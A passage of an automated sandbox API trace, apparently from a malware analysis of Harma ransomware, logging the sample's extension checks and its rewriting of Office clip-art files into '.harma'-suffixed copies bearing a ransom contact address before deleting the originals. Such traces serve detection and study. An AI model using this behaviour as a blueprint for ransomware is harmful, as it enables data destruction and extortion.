lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.822] lstrlenW (lpString=".jpg") returned 4 [0152.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.822] lstrlenW (lpString=".doc") returned 4 [0152.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString=".docx") returned 5 [0152.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.822] lstrlenW (lpString=".pdf") returned 4 [0152.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString=".xls") returned 4 [0152.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.823] lstrlenW (lpString=".xlsx") returned 5 [0152.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.823] lstrlenW (lpString=".ppt") returned 4 [0152.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.823] lstrlenW (lpString=".zip") returned 4 [0152.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.823] lstrlenW (lpString=".rar") returned 4 [0152.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString=".bz2") returned 4 [0152.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString=".7z") returned 3 [0152.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.823] lstrlenW (lpString=".dbf") returned 4 [0152.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.824] lstrlenW (lpString=".1cd") returned 4 [0152.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63 [0152.824] lstrlenW (lpString=".jpg") returned 4 [0152.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.824] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.824] lstrlenW (lpString="FD00077_.WMF") returned 12 [0152.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.930] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=30240) returned 1 [0152.930] CloseHandle (hObject=0x208) returned 1 [0152.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0153.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0153.119] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.119] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.120] GetLastError () returned 0x0 [0153.120] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x7620, lpOverlapped=0x0) returned 1 [0153.128] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x7630, lpOverlapped=0x0) returned 1 [0153.130] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0153.130] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.130] SetEndOfFile (hFile=0x350) returned 1 [0153.130] CloseHandle (hObject=0x350) returned 1 [0153.130] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.130] SetEndOfFile (hFile=0x330) returned 1 [0153.132] CloseHandle (hObject=0x330) returned 1 [0153.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0153.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.747] lstrlenW (lpString=".doc") returned 4 [0153.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.747] lstrlenW (lpString=".docx") returned 5 [0153.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.747] lstrlenW (lpString=".pdf") returned 4 [0153.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.747] lstrlenW (lpString=".xls") returned 4 [0153.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.747] lstrlenW (lpString=".xlsx") returned 5 [0153.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.747] lstrlenW (lpString=".ppt") returned 4 [0153.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.747] lstrlenW (lpString=".zip") returned 4 [0153.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.747] lstrlenW (lpString=".rar") returned 4 [0153.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.747] lstrlenW (lpString=".bz2") returned 4 [0153.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.747] lstrlenW (lpString=".7z") returned 3 [0153.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.748] lstrlenW (lpString=".dbf") returned 4 [0153.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.748] lstrlenW (lpString=".1cd") returned 4 [0153.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.748] lstrlenW (lpString=".jpg") returned 4 [0153.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.748] lstrlenW (lpString=".doc") returned 4 [0153.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.748] lstrlenW (lpString=".docx") returned 5 [0153.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.748] lstrlenW (lpString=".pdf") returned 4 [0153.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.748] lstrlenW (lpString=".xls") returned 4 [0153.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.748] lstrlenW (lpString=".xlsx") returned 5 [0153.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.748] lstrlenW (lpString=".ppt") returned 4 [0153.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.749] lstrlenW (lpString=".zip") returned 4 [0153.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.749] lstrlenW (lpString=".rar") returned 4 [0153.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.749] lstrlenW (lpString=".bz2") returned 4 [0153.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.749] lstrlenW (lpString=".7z") returned 3 [0153.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.749] lstrlenW (lpString=".dbf") returned 4 [0153.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.749] lstrlenW (lpString=".1cd") returned 4 [0153.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0153.749] lstrlenW (lpString=".jpg") returned 4 [0153.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.750] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.750] lstrlenW (lpString="FD00306_.WMF") returned 12 [0153.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.751] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=46814) returned 1 [0153.751] CloseHandle (hObject=0x350) returned 1 [0153.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0153.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.752] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.752] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.753] GetLastError () returned 0x0 [0153.753] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xb6de, lpOverlapped=0x0) returned 1 [0153.928] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0153.930] ReadFile (in: hFile=0x350, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0153.930] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.930] SetEndOfFile (hFile=0x37c) returned 1 [0153.931] CloseHandle (hObject=0x37c) returned 1 [0153.931] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0153.931] SetEndOfFile (hFile=0x350) returned 1 [0153.934] CloseHandle (hObject=0x350) returned 1 [0153.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.580] lstrlenW (lpString=".doc") returned 4 [0154.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.580] lstrlenW (lpString=".docx") returned 5 [0154.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.580] lstrlenW (lpString=".pdf") returned 4 [0154.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.580] lstrlenW (lpString=".xls") returned 4 [0154.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.580] lstrlenW (lpString=".xlsx") returned 5 [0154.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.580] lstrlenW (lpString=".ppt") returned 4 [0154.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString=".zip") returned 4 [0154.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.581] lstrlenW (lpString=".rar") returned 4 [0154.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".bz2") returned 4 [0154.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".7z") returned 3 [0154.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString=".dbf") returned 4 [0154.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString=".1cd") returned 4 [0154.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString=".jpg") returned 4 [0154.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.581] lstrlenW (lpString=".doc") returned 4 [0154.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".docx") returned 5 [0154.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.581] lstrlenW (lpString=".pdf") returned 4 [0154.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.581] lstrlenW (lpString=".xls") returned 4 [0154.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.582] lstrlenW (lpString=".xlsx") returned 5 [0154.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.582] lstrlenW (lpString=".ppt") returned 4 [0154.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.582] lstrlenW (lpString=".zip") returned 4 [0154.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.582] lstrlenW (lpString=".rar") returned 4 [0154.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString=".bz2") returned 4 [0154.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString=".7z") returned 3 [0154.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.582] lstrlenW (lpString=".dbf") returned 4 [0154.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.582] lstrlenW (lpString=".1cd") returned 4 [0154.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0154.582] lstrlenW (lpString=".jpg") returned 4 [0154.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.582] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.582] lstrlenW (lpString="FD00369_.WMF") returned 12 [0154.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.584] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=8552) returned 1 [0154.584] CloseHandle (hObject=0x37c) returned 1 [0154.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0154.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.584] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.585] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0154.585] GetLastError () returned 0x0 [0154.585] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2168, lpOverlapped=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2170, lpOverlapped=0x0) returned 1 [0154.628] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0154.628] WriteFile (in: hFile=0x370, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.628] SetEndOfFile (hFile=0x370) returned 1 [0154.628] CloseHandle (hObject=0x370) returned 1 [0154.628] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0154.628] SetEndOfFile (hFile=0x37c) returned 1 [0154.631] CloseHandle (hObject=0x37c) returned 1 [0154.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0154.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.632] lstrlenW (lpString=".doc") returned 4 [0154.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString=".docx") returned 5 [0154.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.632] lstrlenW (lpString=".pdf") returned 4 [0154.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString=".xls") returned 4 [0154.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.632] lstrlenW (lpString=".xlsx") returned 5 [0154.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.632] lstrlenW (lpString=".ppt") returned 4 [0154.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.632] lstrlenW (lpString=".zip") returned 4 [0154.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.632] lstrlenW (lpString=".rar") returned 4 [0154.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString=".bz2") returned 4 [0154.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString=".7z") returned 3 [0154.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.632] lstrlenW (lpString=".dbf") returned 4 [0154.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.633] lstrlenW (lpString=".1cd") returned 4 [0154.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.633] lstrlenW (lpString=".jpg") returned 4 [0154.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0154.633] lstrlenW (lpString=".doc") returned 4 [0154.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.633] lstrlenW (lpString=".docx") returned 5 [0154.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.633] lstrlenW (lpString=".pdf") returned 4 [0154.633] lstrcmpiW 